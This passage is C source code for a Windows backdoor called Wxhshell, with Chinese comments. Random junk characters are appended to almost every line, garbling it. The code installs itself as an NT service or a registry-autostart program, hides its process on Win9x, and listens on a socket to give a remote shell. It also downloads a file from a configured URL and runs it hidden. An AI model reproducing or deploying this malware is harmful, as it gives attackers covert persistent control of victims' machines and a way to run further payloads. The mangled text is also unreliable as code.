DWORD PebBaseAddress; +@#-S
DWORD AffinityMask; AFNE1q;{\
DWORD BasePriority; VHU,G+ms
ULONG UniqueProcessId; JZcW? Or
ULONG InheritedFromUniqueProcessId; r$Y% 15JV
} PROCESS_BASIC_INFORMATION; Umk ! m] q
B 6,X)
PROCNTQSIP NtQueryInformationProcess; Q__1QUu
i)d'l<RA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hC2Ra "te)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =+wkjTO
p5=VGKp
HANDLE hProcess; eadY(-4|I-
PROCESS_BASIC_INFORMATION pbi; 5W?r04
+'?axv6e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %MN>b[z
if(NULL == hInst ) return 0; fkr;
a`<W
<1E*wPm8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gt?ckMB
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mg4:N
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zMN4cBL9m
skfFj&_T
if (!NtQueryInformationProcess) return 0; )TgjaR9G
ZlYb8+rW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3)qtz_,H/g
if(!hProcess) return 0; <}Rr C#uiA
^VB_>|UN4
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -"3<Ll
; +]GyDgVq
CloseHandle(hProcess); 7~ok*yG w
`=~d^wKYJ3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9Z_98Rh
if(hProcess==NULL) return 0; V9kL\Ys
dg42K`E
HMODULE hMod; ,LJX
char procName[255]; eVbaxL!Q^
unsigned long cbNeeded; 8'Ph/L,
rgg3{bU/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'm+)n08[
*1;}c
z
CloseHandle(hProcess); [.`#N1-@M
nA^UF_rD-
if(strstr(procName,"services")) return 1; // 以服务启动 B^uQv|m
{EGm6WSQ^
return 0; // 注册表启动 w`Js"_\
} 9:l>FoXS
QK%6Ncv
// 主模块 *.0#cP7 "
int StartWxhshell(LPSTR lpCmdLine) w0^T- O`<
{ ~ugK&0i[2
SOCKET wsl; efF>kcIC
BOOL val=TRUE; O486:tF
int port=0; *.9.BD9
struct sockaddr_in door; #~^Y2-C#
I8 {2cM;
if(wscfg.ws_autoins) Install(); 9:tKRN_D
w/HGmVa
port=atoi(lpCmdLine); E6d0YgfD
t,K_!-HX+
if(port<=0) port=wscfg.ws_port; ?Y#0Je
,-*oc>
WSADATA data; /Hl]$sJY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _S;L|1>S
u;*Wc9>sU
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {'#^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +kKfx!
door.sin_family = AF_INET; <t0o{}^P*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vee`q.
door.sin_port = htons(port);
D=nuK25
'WG%O7s.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4X2/n
closesocket(wsl); ~Xg@,?Zr
return 1; 2*K _RMr~
} g2WDa'{L
wZm=h8d
if(listen(wsl,2) == INVALID_SOCKET) { )_nc;&%w
closesocket(wsl); lT3, G#(
return 1; "p~1|?T
} QviH+9
Wxhshell(wsl); s:y=X$&M
WSACleanup(); *a7&v3X
u@$C i/J*
return 0; 'i|z>si[*
b;O|-2AR
} nx >PZb
+SSF=]4+
// 以NT服务方式启动 }pa@qZXh
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tF<|Eja*
{ q|.
X[~e|
DWORD status = 0; FU|c[u|z
DWORD specificError = 0xfffffff; %K_[Bx{B
6*/o
serviceStatus.dwServiceType = SERVICE_WIN32; H`$s63
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ii,Lj1Q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z`5v6"Na
serviceStatus.dwWin32ExitCode = 0; L+PrV y
serviceStatus.dwServiceSpecificExitCode = 0; 1wl8
serviceStatus.dwCheckPoint = 0; yU~OfwQ
serviceStatus.dwWaitHint = 0; 3cNF^?\=
P2h}3%cJq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o5\nqw^
if (hServiceStatusHandle==0) return; $gN1&K
>g@;`l.Z#
status = GetLastError(); mT8($KQ
if (status!=NO_ERROR) ~/6m|k
{ Yq.Cz:>b
serviceStatus.dwCurrentState = SERVICE_STOPPED; sW B;?7P
serviceStatus.dwCheckPoint = 0; )}
y1
serviceStatus.dwWaitHint = 0; V Z[[zYe
serviceStatus.dwWin32ExitCode = status; uJ4RjLM`
serviceStatus.dwServiceSpecificExitCode = specificError; 99}n%(V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f_r1(o5:Y
return; a(Bo.T<2@
} Wm
nsD!
mB.kV Ve0
serviceStatus.dwCurrentState = SERVICE_RUNNING; xGq,hCQHV
serviceStatus.dwCheckPoint = 0; 88
*K
serviceStatus.dwWaitHint = 0; QUp()B1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xoD5z<<
} e}? #vTRI}
8]Xwj].^C
// 处理NT服务事件,比如:启动、停止 G l=dL<F
VOID WINAPI NTServiceHandler(DWORD fdwControl) @O<kjR<b
{ K4i#:7r'b
switch(fdwControl) zlmb_akJ
{ 2yhtJ9/
case SERVICE_CONTROL_STOP: [EDw0e
serviceStatus.dwWin32ExitCode = 0; kE tYuf^
serviceStatus.dwCurrentState = SERVICE_STOPPED; Lnnl++8Y
serviceStatus.dwCheckPoint = 0; `RUr/|S
serviceStatus.dwWaitHint = 0; cjf}yn
{ "PBUyh-Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'g8~539{&
} SnRTC<DDh
return; i8w(G<Y=
case SERVICE_CONTROL_PAUSE: _^'fp
serviceStatus.dwCurrentState = SERVICE_PAUSED; R ;^[4<&
break; $Xw .iN]g
case SERVICE_CONTROL_CONTINUE: twqjaFA>
serviceStatus.dwCurrentState = SERVICE_RUNNING; nn"!x|c
break; ,qak_bP
case SERVICE_CONTROL_INTERROGATE: &E$jAqc
break; d{@X-4k:
}; `!HGM>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LMWcF'l
} 9}Tf9>qP>M
kDJ5x8Q#
// 标准应用程序主函数 t$8f:*6(*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _cx}e!BK#
{ 12aAO|]/~
v9Oyboh(y
// 获取操作系统版本 KP7bU9odJ
OsIsNt=GetOsVer(); |n3PznV
GetModuleFileName(NULL,ExeFile,MAX_PATH); W|3XD-v@
qtTys gv
// 从命令行安装 '8~7Ru\KyX
if(strpbrk(lpCmdLine,"iI")) Install(); NjVuwIm+
Pv{ {zyc
// 下载执行文件 =*qu:f\y
if(wscfg.ws_downexe) { -<a~kVv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YMwMaU)K,
WinExec(wscfg.ws_filenam,SW_HIDE); eMVfv=&L<3
} b&A+`d
L$h.VQv+
if(!OsIsNt) { I+w3It
// 如果时win9x,隐藏进程并且设置为注册表启动 |HJdpY>Uu
HideProc(); `~[zIq:}7
StartWxhshell(lpCmdLine); Deq~"
} '5KgRK"
else Ze'AZF
if(StartFromService()) u#?K/sU
// 以服务方式启动 vV-ATIf
^
StartServiceCtrlDispatcher(DispatchTable); m1=3@>
else Ob?>zsx
// 普通方式启动 "[(_C&Ot4
StartWxhshell(lpCmdLine); )h,+>U@
`!DrB08A
return 0; <DiD8")4
}